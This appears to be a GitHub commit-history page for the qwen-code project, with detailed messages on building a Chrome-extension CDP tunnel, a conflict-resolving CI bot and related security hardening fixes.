test). The still-used executor types (BrowserToolArgs / RawNetworkRequest / WebSocketSession / NetworkCaptureState) move to background/browser-tool-types.ts. - service-worker rewired to daemon-direct only (drops the NativeMessaging init + the onMessage→routeUiRequest relay; keeps the browser-tools server start). - esbuild.background.config.js drops the deleted native-messaging entry point. - manifest.json drops the `nativeMessaging` permission. - package.json scripts drop every native-server/native-host reference; dev-watch no longer spawns the native host. - obsolete native-messaging docs (01-04) + scripts (diagnose/install/update) removed; README rewritten for daemon-direct. Extension esbuild build green; tsc errors dropped (84 -> 69, all pre-existing node:test/content typings). Daemon-side (cli/serve/core) untouched. * chore(browser-ext): drop orphaned content-fetch-patch.ts (#5626) * fix(serve): let browser extensions open the daemon WS reverse channel The daemon-direct Chrome extension (#5626) connects to qwen serve's /acp WebSocket to register its browser tools as a client-hosted MCP server. Three gaps blocked the real-browser path. A node WS client in the integration tests carries no browser Origin and completes the ACP handshake, so none of these surfaced until a real Chrome connected: - The WS CSRF check hard-coded loopback origins, so the extension's chrome-extension://<id> Origin was rejected with 403. Wire the existing --allow-origin allowlist into the WS upgrade check (acp-http/index.ts, server.ts) with the same match semantics as the REST allowOriginCors. - parseAllowOriginPatterns rejected chrome-extension:// because its URL.origin is the opaque "null". Rebuild the canonical origin from scheme+host for opaque-origin schemes (auth.ts), with tests. - The extension skipped the ACP initialize handshake and sent mcp_register directly, tripping the daemon's 30s initialize timeout. Send ACP initialize first and register only after the ack (browser-tools-server.ts). Also allow console.* in the extension package (no stdio in the MV3 runtime) via the eslint no-console allowlist. Verified end-to-end against a real Chrome: the daemon agent calls mcp__chrome-tools__chrome_read_page and reads the live active tab. * docs(browser-ext): Plan C (CDP tunnel) feasibility + implementation design Assess routing chrome-devtools-mcp's ready-made DevTools toolset through the extension's chrome.debugger to drive the user's real browser, instead of re-implementing each tool in the extension (Plan A). Records, with source verification against chrome-devtools-mcp@1.4.0 + puppeteer-core@25.2.0: - the createCDPSession wall (why zero-change reuse fails — Target.attachToTarget is "Not allowed" for chrome.debugger; cdp-mcp throws in McpContext.from); - the patch-package fork shape (pin 1.4.0 + a ~2-site patch, not vendor/submodule); - the daemon /cdp browser-level CDP emulation + sessionId routing design; - minimal browser-level command set, reusable prior art (playwright-mcp --extension), phased steps, risks, and the Plan A fallback. Refs #5626. * feat(serve): add CDP browser-level emulator for Plan C tunnel (#5626) First component of the Plan C "CDP tunnel": a synthesis layer that fakes the browser-level CDP topology so an external puppeteer client (chrome-devtools-mcp) can connect over a future /cdp endpoint while page-domain commands are forwarded to the one real tab via the extension's chrome.debugger. Implements the exact contract a Phase 0 spike proved necessary: a tab->page two-level target tree + recursive Target.setAutoAttach (browser attaches the tab session; the tab session attaches the page session), with page-session commands routed to forwardToTab and tab events re-tagged with the page session id. The spike connected real puppeteer to a pure synthesis layer and ran page.evaluate(() => 1 + 1) === 2. 7 unit tests cover the handshake + routing. Refs #5626. * feat(serve): add CDP tunnel reverse-link, /cdp glue, and bridge registry (#5626) Plan C Phase 1 daemon core. The reverse-link forwards page-domain CDP commands to the extension over cdp_command/cdp_result frames (id-correlated, timeout) and re-tags cdp_event onto the page session; cdp-ws wires a per- puppeteer-connection emulator to the reverse-link bound to the single active extension bridge in a process-scoped registry. The emulator gains setTabInfo so the synthetic targetInfo reflects the real tab after cdp_attach. * feat(serve): wire /cdp upgrade branch and cdpTunnelOverWs flag (#5626) Adds the /cdp WebSocket upgrade branch to acp-http (reusing the loopback / host-allowlist / auth / CSRF checks) and routes inbound cdp_* frames on the extension's /acp socket to the bound reverse-link. The extension connection registers as the active CDP bridge eagerly at ACP initialize so a /cdp puppeteer client can bind immediately (avoids the attach chicken-and-egg). Feature flag cdpTunnelOverWs is wired exactly like clientMcpOverWs (env QWEN_SERVE_CDP_TUNNEL_OVER_WS=1, capability cdp_tunnel_over_ws), DEFAULT OFF — existing behaviour is unchanged when off. * feat(browser-ext): add CDP bridge over the reverse /acp socket (#5626) The extension answers cdp_attach by attaching chrome.debugger to the active tab and cdp_command via chrome.debugger.sendCommand, replying cdp_result; chrome.debugger.onEvent -> cdp_event, onDetach -> cdp_detach. Reuses the existing browser-tools-server /acp socket (routes cdp_* frames; tears the bridge down on socket close) and mutually excludes with the chrome_network_debugger_* tools (one debugger per tab). * build(deps): pin chrome-devtools-mcp 1.4.0 + puppeteer-core 25.2.0, patch McpContext (#5626) Pins the two CDP-tunnel client deps (exact, to keep the version-specific patch and puppeteer's hardcoded ExtensionTransport topology stable) and adds patches/chrome-devtools-mcp+1.4.0.patch. The patch wraps McpContext.#init's devtoolsUniverseManager.init / serviceWorkerConsoleCollector.init in try/catch so the createCDPSession wall (Target.attachToTarget -> -32000 over chrome.debugger) no longer crashes the server on startup; only performance_* / service-worker console degrade. Applied via the existing postinstall patch-package hook (same form as patches/ink+7.0.3.patch). * test(serve): add Plan C /cdp end-to-end acceptance harness (#5626) Node script that starts the real daemon with the flag on, connects a mock extension over /acp (ACP initialize + mcp_register, answering cdp_command with page-domain CDP), then puppeteer.connect to /cdp and asserts page.evaluate(() => 1 + 1) === 2 through the real daemon + emulator + reverse-link. Allowlists the harness dir in eslint's node-script globals. * fix(serve): gate CDP page commands behind attach completion (#5626) Real-Chrome testing surfaced an ordering race the mock acceptance missed: the extension's chrome.debugger.attach is async (it pops the debugger banner), but forwardToTab forwarded page-domain commands immediately, so a fast puppeteer Network.enable reached the extension before attachedTabId was set and failed "CDP tunnel not attached to a tab". The mock extension acked attach synchronously, which hid the race. Add an attach gate in CdpReverseLink: forwardToTab awaits the in-flight cdp_attach to settle (success or failure) before forwarding. Verified end-to-end against REAL Chrome — puppeteer read the live active tab (a GitHub PR page) through the tunnel: pages=1, real url/title/body returned. Refs #5626. * refactor(chrome-extension): delete Plan A side panel, content scripts, and reverse tool channel Tears out the superseded Plan A surface so the extension can become a pure CDP-tunnel pipe (chat moves to the daemon web UI, browser tooling runs as chrome-devtools-mcp over the /cdp tunnel): - src/sidepanel/ (side-panel chat UI) - src/content/ (content scripts; the CDP tunnel drives DOM/Input via chrome.debugger, no injection needed) - background reverse tool channel: browser-tools-server, browser-network-tools, network-capture-utils, browser-tool-executors, tool-catalog, tool-router, mcp-tool-result, browser-tool-types, and their tests - public/sidepanel/sidepanel.html static asset Refs #5626 * refactor(chrome-extension): rewrite service worker as minimal daemon CDP client The service worker is now the entire extension logic: probe the daemon /health, open the /acp WebSocket, send the ACP initialize handshake (the daemon closes the socket on a 30s init timeout otherwise and binds this connection as the CDP bridge at that point), then route cdp_* frames into the CDP bridge with capped backoff reconnect. No more reverse MCP tool server (chrome-tools is gone). cdp-bridge: drop the browser-network-tools import and the network-capture mutual-exclusion branch in handleAttach (the network tools are deleted, nothing to exclude); remove the now-unused isCdpTunnelAttached export. Refs #5626 * build(chrome-extension): trim manifest, build config, and deps to the CDP pipe manifest: drop content_scripts, side_panel, and the sidePanel/webRequest/cookies/ scripting/webNavigation permissions; keep only debugger/tabs/activeTab/storage plus background, key, host_permissions, icons, and action. build: background esbuild now has a single service-worker entry point (content script gone); delete the UI esbuild/postcss/tailwind configs and drop the UI build step + build:ui scripts; sync-extension no longer special-cases the gone sidepanel assets; dev-watch no longer spawns the UI watcher. deps: remove the side-panel-only deps (@qwen-code/webui, react, react-dom, markdown-it, and the @types + the postcss/tailwind/autoprefixer CSS toolchain). Refs #5626 * chore(chrome-extension): drop dead externally_connectable hook (#5626) * test(serve): add real-Chrome /cdp local verification script (#5626) * test(serve): add cdp-mcp-over-tunnel layer-C smoke check * fix(extension): keep the CDP tunnel alive with chrome.alarms MV3 service workers idle out after ~30s, so the tunnel silently dropped whenever no puppeteer client was driving it and the user had to keep the Service Worker DevTools open to hold the worker awake. Register a 30s chrome.alarms keepalive: the recurring onAlarm dispatch holds the idle timer off, and each wake of a terminated worker re-runs the top level to reconnect. * feat(serve): auto-register chrome-devtools-mcp over the CDP tunnel Plan C (#5626) last mile: when `qwen serve` runs with the CDP-tunnel flag, the agent should be able to drive the user's real browser. Rather than hand-writing browser tools, auto-register the (patched) chrome-devtools-mcp as a session MCP server pointed at this daemon's /cdp endpoint, so its 29 ready-made DevTools tools flow through the tunnel. - run-qwen-serve: forward QWEN_SERVE_CDP_TUNNEL_OVER_WS + _PORT into the spawned ACP child via childEnvOverrides (same path as the MCP budget env). - acpAgent: buildCdpTunnelMcpServer() injects the server into the top-precedence sessionMcpServers tier when the flag + port are present and the package resolves; trust left unset so tools default to 'ask' (no silent auto-approval of browser control); best-effort skip otherwise. No settings.json edit and no hand-written tools required. * fix(serve): gate CDP bridge registration to the extension (#5626) Auto-registering every /acp initialize as the CDP bridge was last-writer- wins. Once an ACP agent connects over the same /acp endpoint (web UI, Zed), it would capture the bridge and receive cdp_* frames it can't answer, stealing the tunnel from the extension. Gate registration on clientInfo.name === 'qwen-cdp-bridge'; the extension (and the acceptance mock) now identify themselves that way, while agent clients are left alone. * feat(extension): open the web UI when the toolbar icon is clicked The extension has no UI of its own (pure CDP-tunnel pipe; chat lives in the daemon web UI), so clicking the toolbar icon did nothing after the side panel was removed. Wire action.onClicked to open the daemon baseUrl in a new tab so the icon is a useful entry point instead of a dead click. * feat: host the web UI in a Chrome side panel (#5626) The extension is a pure CDP-tunnel pipe with no UI of its own, so after the side panel chat was removed the toolbar icon did nothing. Bring the side panel back as a thin host that iframes the daemon web UI (chat + tools), so the sidebar is the everyday entry point and reuses the web UI's pages/components instead of shipping a second UI in the extension. - extension: side_panel + sidePanel permission; sidepanel.html/js frames the daemon baseUrl; toolbar icon opens the panel (openPanelOnActionClick). - daemon: the Web Shell sent frame-ancestors 'none' + X-Frame-Options: DENY, which blocked the iframe. Allow framing only for chrome-extension origins explicitly passed via --allow-origin; everything else still gets DENY. * fix: prefer chrome-devtools over computer-use under the CDP tunnel + keep MV3 worker alive during attach (#5626) Two issues surfaced driving the real agent: 1. The agent picked the OS-level computer-use tool (cua-driver) for browser tasks instead of the injected chrome-devtools-mcp — heavyweight screenshot/ click loop that pegged a CPU and stalled turns. Disable computerUse when the CDP tunnel flag is on so browser automation goes through the tunnel. 2. The extension's MV3 service worker idled out *between* CDP commands (the agent pauses to think), detaching chrome.debugger and hanging the next command. Add a sub-30s keepalive while attached; the 30s alarm only covered idle reconnects, not in-flight attachments. * chore(extension): stop tracking .extension-key.pem (signing private key) The extension signing private key was committed and pushed — anyone with repo access could impersonate the extension. Stop tracking it and gitignore *.pem. Load-unpacked debugging needs only the public "key" in manifest.json, so this doesn't affect dev on any machine; the .pem is kept locally for packaging. * refactor(chrome-extension): flatten to packages/chrome-extension Drop the mcp-chrome-integration wrapper + dead native-server (daemon-direct no longer uses native messaging). The extension is now a top-level workspace at packages/chrome-extension. Updated root workspaces, eslint globs, doc-path comments, and the two node scripts' global directives. cli + extension builds and eslint verified green. * test(serve): assert cdp_tunnel_over_ws in the capability registry The cdp_tunnel_over_ws capability was added to SERVE_CAPABILITY_REGISTRY + CONDITIONAL_SERVE_FEATURES but the test's EXPECTED_REGISTERED_FEATURES and the conditional drift-insurance branch weren't updated, failing 3 registry tests. Add it to the expected list (after client_mcp_over_ws, matching registry order) and add its assertion branch (predicate accepts/rejects the cdpTunnelOverWsEnabled toggle). * fix(serve): address review comments on CDP tunnel + client-MCP wiring (#5777) - guard post-async ws.send() with readyState OPEN (daemon crash on extension disconnect, sendClientMcpAck + cdp endpoint sends) - make client-mcp-sender-registry delete() ownership-aware (cross-connection server-name collision) - type the __clientMcpOverWs runtime config flag carrier - document the CDP tunnel trust model (loopback + bridge-gated dumb pipe) * chore(cdp-tunnel): set copyright year to 2026 on files created this year The Plan C / #5626 files were authored in 2026 but carried a 2025 header. service-worker.ts (created last year under #1432) keeps 2025. * feat(chrome-ext): add side-panel onboarding gate + fix packaging The side panel framed the daemon Web Shell unconditionally and showed a static "Connecting…" line. When no daemon was reachable, or the daemon wasn't started with --allow-origin (so frame-ancestors blocks the iframe), the user was stuck on "Connecting…" with no guidance, and discovery.ts's health check was never wired in. Wire a health/capabilities gate into the panel: - probe GET /health, then GET /capabilities - down → "Start qwen serve" + the exact command - up but no `allow_origin` feat → "Allow this extension" + the command - ready → frame the Web Shell The command is built from chrome.runtime.id at runtime, so it always names this extension's real origin (dev-unpacked or published) — no need to know or hardcode the id, and no publish-first chicken-and-egg. The pure decision helpers live in onboarding-logic.js. Also: - fix `npm run package` so manifest.json sits at the zip root (the old `zip ... extension/` nested it under extension/, which the Chrome Web Store rejects) - gitignore that packaging zip; add a package README Part of #5626. PR #5777. * docs(cdp-tunnel): trim over-long Plan C comments (ponytail) Comment-only: compress multi-paragraph design rationale to intent, keep the non-obvious why (trust model, bridge gate, attach ordering) + ponytail ceilings. ~-91 lines, no code touched, build + tests green. * fix(serve): address second-round review comments on the CDP tunnel (#5777) - close the bound /cdp puppeteer socket on extension disconnect (was hanging ~170s on CDP timeout) via an onExtensionGone hook - reject a 2nd concurrent /cdp client instead of silently clobbering routeInbound - narrow extension host_permissions from <all_urls> to localhost (chrome.debugger needs no host perm; only the /health fetch needs localhost) - log safeWsSend drops under serve debug mode so a dead tunnel is diagnosable * feat(chrome-ext): polish side-panel welcome into a terminal console Replace the bare welcome with a console that matches the product (a CLI daemon): the command is the hero, typed at a `$` prompt with a blinking cursor inside a titled terminal card. Warm-charcoal / electric-lime, light + dark aware (prefers-color-scheme), staggered load-in, a pulsing "listening" status, and a reduced-motion guard. No web fonts / no inline JS (the extension CSP allows neither). No behavior change: same /health + /capabilities gate and the chrome.runtime.id-derived command. Mechanics tidied alongside the markup: visibility toggles a .hidden class (CSS owns the flex layout), the copy button updates a label span, and the command is prefilled synchronously so first paint isn't an empty prompt. PR #5777. * feat(chrome-ext): click-to-copy command + centered copy button Make the onboarding command easier to grab: the whole command row is now click-to-copy (keyboard-reachable, Enter/Space), and a centered "Copy command" button sits at the foot of the terminal card. Both flash a check-mark "Copied" confirmation; the small top-bar button is gone. No gate-logic change. PR #5777. * test(serve): cover CDP-tunnel + client-MCP regression guards Add the four focused unit tests flagged in review for load-bearing reverse-channel paths that had no coverage: - ClientMcpSenderRegistry: ownership-scoped delete — a disconnecting connection must not remove an entry a peer re-registered under the same name. - CdpTunnelRegistry: register/supersede/unregister lifecycle, inbound routing delegation, onExtensionGone-on-disconnect, and the stale-unregister guard that must not evict a newer active bridge. - CdpReverseLink: a forwarded command rejects when its per-command timer expires (not just on bulk dispose). - safeWsSend: drops (no send, no throw) on a CLOSED/CLOSING socket. safeWsSend is extracted from acp-http/index.ts into its own module so it's unit-testable in isolation; behavior unchanged. PR #5777. * fix(serve): address bot code-review findings on the CDP tunnel (#5777) - cdp-bridge: tear down listeners before re-attach (was double-registering → duplicate cdp_event frames corrupting puppeteer) - emulator: return a CDP error for an unknown session instead of fake success - registry: notify the superseded bridge so the old /cdp closes (single-puppeteer) - deps: move chrome-devtools-mcp + puppeteer-core to optionalDependencies (~26MB) - tests: entry-script validation, deliverClientMcpMessage error branches, registry supersede * fix(chrome-ext): revert side panel to welcome when the daemon stops Once the panel framed the Web Shell it stopped probing, so if the daemon later went away the iframe was left showing Chrome's localhost connection-refused page with no way back. Keep probing after framing and, after a short tolerance (2 misses, ~5s, so a transient blip doesn't nuke a live chat), clear the iframe src and show the welcome screen again. PR #5777. * fix(chrome-ext,serve): address review comments on the CDP tunnel - service-worker: redact the bearer token from the connect log, and guard connect() against a still-CONNECTING socket so a rapid reconnect can't orphan an in-flight handshake. - acpAgent: don't clobber a user-configured `chrome-devtools` MCP server with the tunnel auto-wire. - cdp-reverse-link: log dropped/unexpected inbound frames via an optional diagnostic sink instead of swallowing them silently. - name the cross-package `qwen-cdp-bridge` client-name constant on both sides instead of repeating the bare string. PR #5777. * refactor(chrome-ext): inline onboarding helpers, drop dead pollTimer onboarding-logic.js was a 65-line file (mostly JSDoc) for three trivial helpers and a constant, split out "for testability" that was never used. Fold them into sidepanel.js (decideState collapses into probeState's return; resolveBaseUrl/allowOriginCommand become a one-liner each) and delete the file + its import. Also drop `pollTimer`: the welcome-fallback change made it write-only (the only clearInterval was removed), which trips no-unused-vars. PR #5777. * fix(serve,chrome-ext): more CDP-tunnel review fixes - sidepanel: pass the bearer token through the Web Shell URL fragment so a token-gated daemon doesn't 401 every framed request. - server: throw if deps.bridge is injected without deps.clientMcpSenderRegistry (the bridge is already wired to its own sender; a fresh one would be orphaned). - cdp-browser-emulator: surface unhandled browser-level CDP commands via an optional log sink (keep the empty-result ack, with a TODO). - cdp-bridge: only treat "already attached" as ours when attachedTabId === tabId (a foreign DevTools owner now errors), and detach the previous tab on switch so Chrome drops its debug banner. - build.js: add packages/chrome-extension to the build order so root build exercises the extension bundle. PR #5777. * fix(serve,chrome-ext): harden CDP-tunnel + client-MCP reverse channel - client-mcp-ws: cap registered servers per connection (max 10) and re-check `disposed` after the provider round-trip so a WS close mid-register can't leave a zombie server; add registrar serverCount(). - acp-http: rate-limit client-MCP frames (mcp_register/unregister at the mutation tier, mcp_message at read) and cap concurrent fire-and-forget register/unregister dispatch (max 8) to stop DoS amplification. - cdp tunnel: on /cdp puppeteer disconnect send a `cdp_release` frame so the extension detaches chrome.debugger instead of leaving the tab's debug banner up until /acp dies. - acpAgent: skip chrome-devtools auto-registration (with a diagnostic) when the /cdp tunnel requires bearer auth — the ACP child can't authenticate to it. PR #5777. * fix(chrome-ext,serve): address second-round CDP-tunnel review - service-worker: only the *active* socket's close tears down the bridge — a stale daemon-forced close must not detach the new connection's debugger. - daemon config + sidepanel: fail closed on a non-loopback baseUrl so a tampered chrome.storage value can't exfiltrate the bearer token off-host (background fetch/WS bypass host_permissions). - sidepanel: reentrancy guard on tick() so overlapping slow probes don't burn the framed-miss tolerance and flash the welcome screen mid-chat. - cdp-bridge: reentrancy guard on handleAttach so overlapping cdp_attach frames can't interleave teardown and corrupt attachedTabId. - add cdp-ws.test.ts: regression cover for no-bridge reject, second-client reject, onExtensionGone fail-fast, cdp_release on dispose, and the superseded-bridge cleanup guard. PR #5777. * fix(serve,webui): address third-round CDP-tunnel review - safe-ws-send: wrap the debug-mode writeStderrLine in try/catch so a broken stderr (EPIPE on a piped/closed log) can't break the "never throw on a dead socket" contract production callers rely on. - ChromeToolCall: index-access rawInput['name'] to satisfy noPropertyAccessFromIndexSignature. PR #5777. * fix(serve,chrome-ext): address #5777 review round 4 - acp-http: send mcp_error back on an unexpected client-MCP handler rejection (register/unregister callers otherwise hang); log when the inflight cap rejects. - cdp-ws: log the happy-path cdp_release dispatch for oncall tracing. - run-qwen-serve/acpAgent: don't pass a bogus "0" CDP-tunnel port for ephemeral --port 0, and emit a stderr diagnostic when the tunnel is disabled for a missing/invalid port instead of failing silently. - cdp-bridge: handle a cdp_release that races an in-flight handleAttach so a late attach can't leave a debugger attachment with no live /cdp client. - service-worker: close the WS on an ACP initialize error so the daemon doesn't keep holding a non-functional CDP bridge. * fix(serve,chrome-ext): address pr-review findings (#5777) - client-mcp-sender-registry: gate the child-side runtime-server teardown on ownership too (Config.removeRuntimeMcpServer is not owner-scoped), so a disconnecting connection can't kill a server a later connection re-registered under the same name. (P2) - service-worker: carry the bearer token via the `qwen-bearer.*` WS subprotocol (matching the web-shell + daemon decoder) instead of a `?token=` query the daemon never reads, so a token-gated daemon no longer 401-reconnect-loops. (P3) - run-qwen-serve: advertise client_mcp_over_ws / cdp_tunnel_over_ws in the bootstrap /capabilities too, matching the runtime path. (P3) * chore(webui): remove unused ChromeToolCall component (#5777) ChromeToolCall was added in a debugging commit but is never wired into the tool-call routing (getToolCallComponent) — there's no `chrome` tool kind and the only references were barrel re-exports. Dead code; remove it. * fix(serve,chrome-ext): address #5777 review round 5 (diagnostics) - service-worker: log the WS close code/reason so failure modes aren't indistinguishable (e.g. the daemon's 1011 "no extension connected"). - acpAgent: containment-check the resolved chrome-devtools-mcp bin path so a malformed `bin` field can't escape the package dir. - cdp-tunnel-registry: log when a new extension bridge supersedes a stale one. * fix(chrome-ext,serve): address #5777 review round 6 - cdp-bridge: ack the attach (as an error) before tearing down on a release-during-attach, so the daemon's reverse link doesn't hang ~170s waiting for a cdp_attached that never arrives. - acp-http: rename isFireAndForget -> dispatchOffQueue + clarify the comment; register/unregister are dispatched off-queue but still expect a response ack, so the name no longer reads as "no response." * fix(serve,cli): address #5777 review round 7 - config: warn (stderr) when QWEN_SERVE_CDP_TUNNEL_OVER_WS overrides an explicit tools.computerUse.enabled=true, so the effective config isn't a silent surprise. - client-mcp-ws: document the intentional idempotency of handleUnregister. - cdp-reverse-link: add tests for the attach gate — forwardToTab parks behind an in-flight attach, the cdp_attach timer rejects, and the gate opens on timeout so commands don't hang. * fix(serve,core): address #5777 review round 8 - mcp-client: only treat the first stdio arg as a local entry script when it is clearly a filesystem path. A bare includes('/') also matched scoped npm package names (npx @scope/pkg), wrongly resolving them under the workspace and throwing before the runner ran. Adds a regression test. - client-mcp-sender-registry: reject shadowedSettings so a browser-hosted WS client cannot shadow a user-configured MCP server name; roll back the child-side add. - cdp-ws: close the puppeteer socket when /cdp attach fails so dispose() clears cdpBound/routeInbound, instead of a stuck tunnel until restart. * fix(serve,chrome-ext): address #5777 review follow-ups * fix(serve): satisfy CDP inbound frame guard typing * fix(serve): address CDP tunnel review feedback --------- Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com> Co-authored-by: qwen-code-dev-bot <qwen-code-dev-bot@users.noreply.github.com> Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com> |
||
|
|
f876f4a250
|
ci: allow longer PR review timeout retries (#5961) | ||
|
|
8189141160
|
[codex] test(ci): cover post-merge review follow-ups (#5899)
* test(ci): cover post-merge review follow-ups * test(core): scope skill activation timeout override |
||
|
|
096bba13d5
|
ci(qwen-resolve): support fork PRs and slim /resolve to conflict-only (#5870)
* ci(qwen-resolve): support fork PRs and slim /resolve to conflict-only Closes the fork gap #5779/#5862 left for the maintainer /resolve command, so it can clear merge conflicts on community (fork) PRs, and narrows the command to exactly one job: resolve the conflict and push it back. - Fork PRs: fetch the head via refs/pull/N/head and push the resolved branch back to the PR's head repository (via Allow edits by maintainers) instead of bailing as unsupported. Validated end-to-end against a fork PR. - Conflict-only: drop the build/typecheck/lint/test gate and npm install/refresh; keep the structural checks (markers, index, merge-tree, default-merge, scope). Test fallout is left to the PR's own CI and follow-up tasks. - Push-failure classification: workflow_scope (the merge carries the base's .github/workflows/** changes, which a token without the workflow scope cannot push), permission (403 / 404), and moved (stale force-with-lease) each get an actionable comment; the redacted git stderr is logged for diagnosis. NOTE: the push bot's PAT (CI_DEV_BOT_PAT) needs the `workflow` scope, since resolving merges the base in and that update touches workflow files. Guard tests updated; 12/12 pass. * ci(qwen-resolve): avoid PR head ref collisions * ci(qwen-resolve): address review comments - workflow_scope: anchor classification on GitHub's server phrase 'refusing to allow ... workflow' instead of a loose workflow.*scope, which the attacker-controlled branch name in git's rejected-ref echo could trip. - prepare: bail when the head repository was deleted (null headRepository → malformed push URL). - moved: include the run-artifact link, consistent with the other cases. - permission: drop 'could not read' (matched transient network errors). |
||
|
|
29ad82d6a3
|
ci: route the merge queue's Linux jobs onto ECS (#5854)
* ci: route the merge queue's Linux jobs onto ECS The merge queue runs in the base-repo context but classify_pr was PR-only, so its ubuntu_runner output was empty in the queue and the Ubuntu Test + Integration jobs fell back to the shared hosted pool — piling onto the scarce hosted Linux runners exactly when the queue is busiest. Run classify_pr on merge_group too and route both the Ubuntu gate and Integration onto the same in-repo ECS pool as PRs; the MAINTAINER_ECS_RUNNER_DISABLED kill-switch and the hosted fallback are intact, and fork PRs are unaffected. Also extend the checkout-verification guard to the merge queue: now that the queue's Ubuntu checkout runs on ECS behind the squid egress proxy, a stale-ref checkout could silently test the wrong tree, and a wrong-tree pass in the queue would merge bad code. One sub-second merge-base check. Routing approach carried forward from #5853 by @wenshao (closed); this adds the merge-queue checkout guard on top. * ci: fix verify-step wiring test and guard integration_cli on ECS The merge-queue ECS routing renamed the test job's checkout guard to "Verify checkout includes expected head commit", but no-ak-integration-ci.test.js still asserted the old "Verify PR checkout includes head commit" name, failing the wiring test. Update the assertion. integration_cli now also routes to ECS (via classify_pr on merge_group) yet lacked the protections the Ubuntu gate has. Mirror them: fetch-depth 1 (nothing walks history; a full clone is the heaviest transfer on the ECS runner) and the same stale-checkout guard, keyed on merge_group.head_sha. * ci: mirror the Node 22 version probe into integration_cli The self-hosted Node step claimed to mirror the Ubuntu gate but omitted the major-version probe, so a non-22 Node on the ECS runner would run integration tests with no log signal. Add the same warning-only check. |
||
|
|
a4203da49d
|
fix(packaging): bundle audio capture for mirror installs (#5747)
* fix(packaging): bundle audio capture for mirror installs * fix(packaging): include audio prebuilds before packaging * fix(cli): narrow native audio load error wrapping * test(packaging): cover native audio fallback paths * fix(packaging): require native audio artifacts * fix(packaging): allow fork release without audio prebuilds * fix(packaging): keep fork audio dependency fallback * test(packaging): harden audio bundle coverage * fix(packaging): validate native audio artifacts * fix(packaging): harden native audio fallback paths * fix(packaging): tighten audio bundle copy |
||
|
|
37d59e8b43
|
ci: add @qwen-code /resolve (#5779)
* ci: add qwen fix conflicts command
* ci: rename conflict command to resolve
* ci: handle resolve workflow failures
* ci: simplify resolve workflow reporting
* ci: fold resolve command into PR workflow
* ci: merge resolve command into PR workflow
* ci: keep PR review workflow name
* ci: reuse PR command authorization for resolve
* ci: narrow PR command authorization trigger
* ci(resolve): fix command injection, secret exposure, and edit-scope
Addresses the remaining /resolve review findings:
- Command injection (RCE): branch refs were inlined as ${{ }} into the
verify / show-artifacts run blocks; a branch named with `$(...)` or
backticks would execute on the runner that later holds CI_DEV_BOT_PAT.
Pass refs via env: and reference only "$BASE_REF" / "$HEAD_REF".
- Secret exposure: the agent step (with OPENAI_API_KEY) could run
PR-authored npm build/lint/test and exfiltrate the key. Drop
build/lint/typecheck/vitest from the agent coreTools (the credential-free
verification gate re-runs them) and install with `npm ci --ignore-scripts`
plus explicit patch-package so PR lifecycle scripts do not run.
- Edit scope: the verification gate now fails when the agent changed any
file the base branch did not, so a prompt-injected agent cannot smuggle
edits outside the conflict set. Prompt tightened to match.
Also test only real workspaces (guard packages/channels/<name> against the
non-workspace packages/channels path).
* ci(resolve): address review feedback on /resolve command
- test: import vitest globals so the lint gate stops reporting no-undef
in scripts/tests (this was the real CI-blocking lint failure)
- prepare: trap an unwritten decision and fail closed to "failed" so an
early gh/git error still reports back instead of a silent red run
- report: make the post-push result comment best-effort so a failed
comment POST can't leave the branch force-pushed with no explanation
- refresh: npm install instead of npm ci to tolerate lockfile drift
after a package.json conflict resolution
- verify: scan only resolution-touched files for leftover conflict
markers instead of git diff --check over the whole merged range, which
spuriously failed on pre-existing base whitespace
- prompt/artifact: use ${{ env.WORKDIR }} instead of hardcoded
/tmp/qwen-resolve
- authorize: drop the issue.state==open gate that also silenced /review
on closed PRs (resolve-pr keeps its own open guard)
- coreTools: document that the specifiers are advisory, not a security
boundary (sandbox + same-repo + no agent token are)
- test: assert the resolve-pr authorization/scope guards, that the agent
step carries no GitHub token, and the dry-run/workflow_dispatch paths
* ci(resolve): fail the verify gate when post-merge package tests fail
The build/typecheck/lint checks use `if ! cmd; then echo outcome=failed;
exit 1; fi`, but the per-package test loop ran `npm run test` bare under
`set -euo pipefail`. A test failure aborted the step before `outcome=fixed`
was written, leaving OUTCOME empty so the report posted a generic "did not
complete successfully" with no mention of which package failed. Mirror the
other gates: record the failing package and set outcome=failed.
* ci(resolve): avoid splitting multi-byte chars when truncating report bodies
`head -c 2000` cuts at a byte boundary, which can split a multi-byte UTF-8
character and leave a broken tail in the posted comment. Pipe through
`iconv -f UTF-8 -t UTF-8 -c` to drop the incomplete trailing sequence.
* ci(resolve): report agent infrastructure failures distinctly in the verify gate
The verify gate runs under always(), so when the resolve_conflicts agent step
fails at the infrastructure level (API timeout, model quota, action crash) it
still executed with an unmodified branch — the merge-tree check then misreported
"branch still has merge conflicts". Short-circuit on a non-success agent
outcome and name the real cause instead.
* ci(resolve): trim verbose review-fix comments to house length
* ci(resolve): least-privilege GITHUB_TOKEN for resolve-pr job
Drop the resolve-pr job permissions to contents:read only and route every
write through an explicit PAT, so the implicit GITHUB_TOKEN that PR-controlled
build/lint/test see in this job carries no write scopes:
- job permissions: contents:read only (was +issues/pull-requests:write)
- Acknowledge reaction: use CI_DEV_BOT_PAT instead of GITHUB_TOKEN
- Verification gate: set GITHUB_TOKEN='' for the PR-controlled step
Defense-in-depth: persist-credentials:false already keeps the checkout token
off disk, so this is least-privilege hardening, not a reachable-leak fix.
* ci(resolve): fix skip-report gating, route to ECS with cleanup, harden tests
- Report skipped request: add always() so the prepare-step EXIT trap's
decision=failed is reported instead of skipped on a crash.
- Report skipped request: make gh pr comment best-effort with a ::warning
fallback, matching the Report result step.
- Route resolve-pr to the self-hosted ECS pool (matching review-pr) and add a
cleanup step that wipes stale ${WORKDIR} artifacts; these runners reuse
workspace and /tmp and the verification gate builds untrusted PR code.
- Tests: pin the four verification-gate failure strings against regression.
* test(resolve): pin verify-gate failure checks and skip-report always() gate
Address review feedback: the verification-gate test now also pins the
agent-infrastructure-failure, missing-address-summary, and unresolved-index
guards; and the failure-paths test asserts the Report-skipped-request step keeps
its always() gate so an EXIT-trap decision=failed actually reports on a prepare
crash. The best-effort skip-comment suggestion was already addressed in
|
||
|
|
bc586362dc
|
ci: split platform test matrix into named jobs so PRs can enter the merge queue (#5833)
Some checks are pending
Qwen Code CI / Classify PR (push) Waiting to run
Qwen Code CI / Test (ubuntu-latest, Node 22.x) (push) Blocked by required conditions
Qwen Code CI / Test (macos-latest, Node 22.x) (push) Blocked by required conditions
Qwen Code CI / Test (windows-latest, Node 22.x) (push) Blocked by required conditions
Qwen Code CI / Post Coverage Comment (push) Blocked by required conditions
